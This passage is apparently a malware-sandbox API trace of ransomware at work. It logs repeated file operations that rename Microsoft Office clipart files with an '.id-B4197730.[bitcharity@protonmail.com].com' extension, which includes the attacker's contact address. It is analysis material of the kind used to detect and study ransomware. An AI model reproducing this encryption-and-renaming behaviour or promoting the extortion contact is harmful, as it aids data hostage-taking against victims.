office\\root\\clipart\\pub60cor\\j0106208.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.977] CloseHandle (hObject=0x11ec) returned 1 [0246.978] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.978] SetFilePointerEx (in: hFile=0x11ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.978] CloseHandle (hObject=0x11ec) returned 1 [0248.787] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.787] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.088] CloseHandle (hObject=0x126c) returned 1 [0249.422] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.422] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107724.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107724.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.423] CloseHandle (hObject=0x1258) returned 1 [0249.424] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.424] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145895.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145895.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.425] CloseHandle (hObject=0x1258) returned 1 [0249.426] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.426] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145904.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145904.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.426] CloseHandle (hObject=0x1258) returned 1 [0249.427] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.427] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0146142.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0146142.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.428] CloseHandle (hObject=0x1258) returned 1 [0249.429] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.429] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148309.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.429] CloseHandle (hObject=0x1258) returned 1 [0249.431] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.431] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148757.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148757.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.431] CloseHandle (hObject=0x1258) returned 1 [0249.432] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.432] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148798.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0148798.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.432] CloseHandle (hObject=0x1258) returned 1 [0249.434] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.434] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149018.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149018.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.435] CloseHandle (hObject=0x1258) returned 1 [0249.436] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.436] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.436] CloseHandle (hObject=0x1258) returned 1 [0249.438] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.438] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150150.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150150.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.438] CloseHandle (hObject=0x1258) returned 1 [0249.439] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.439] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0150861.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0150861.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.440] CloseHandle (hObject=0x1258) returned 1 [0249.441] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.442] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151041.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151041.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.442] CloseHandle (hObject=0x1258) returned 1 [0249.443] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.443] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.443] CloseHandle (hObject=0x1258) returned 1 [0249.444] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.444] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151047.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151047.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.445] CloseHandle (hObject=0x1258) returned 1 [0249.446] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.446] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151055.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151055.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.447] CloseHandle (hObject=0x1258) returned 1 [0249.451] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.451] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151061.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151061.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.451] CloseHandle (hObject=0x1258) returned 1 [0249.452] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.452] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.453] CloseHandle (hObject=0x1258) returned 1 [0249.454] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.454] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151067.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.454] CloseHandle (hObject=0x1258) returned 1 [0249.456] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.456] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151073.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151073.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.457] CloseHandle (hObject=0x1258) returned 1 [0249.707] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.707] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151581.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151581.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.708] CloseHandle (hObject=0x1258) returned 1 [0249.709] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.709] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152608.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152608.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.709] CloseHandle (hObject=0x1258) returned 1 [0249.921] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.921] SetFilePointerEx (in: hFile=0x125c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.921] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.492] CloseHandle (hObject=0x125c) returned 1 [0251.264] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.264] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.264] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152690.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152690.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.264] CloseHandle (hObject=0x1234) returned 1 [0251.265] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.266] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0182946.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0182946.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.266] CloseHandle (hObject=0x1234) returned 1 [0251.268] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.268] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183172.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183172.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.268] CloseHandle (hObject=0x1234) returned 1 [0251.269] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.270] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183174.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183174.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.270] CloseHandle (hObject=0x1234) returned 1 [0251.271] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.272] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183198.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183198.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.272] CloseHandle (hObject=0x1234) returned 1 [0251.283] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.283] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0183574.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0183574.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.283] CloseHandle (hObject=0x1258) returned 1 [0251.285] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.285] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185670.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185670.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.285] CloseHandle (hObject=0x1258) returned 1 [0251.286] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.286] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0185774.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0185774.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.286] CloseHandle (hObject=0x1258) returned 1 [0251.287] SetFilePointerEx (in: hFile=0x1258, 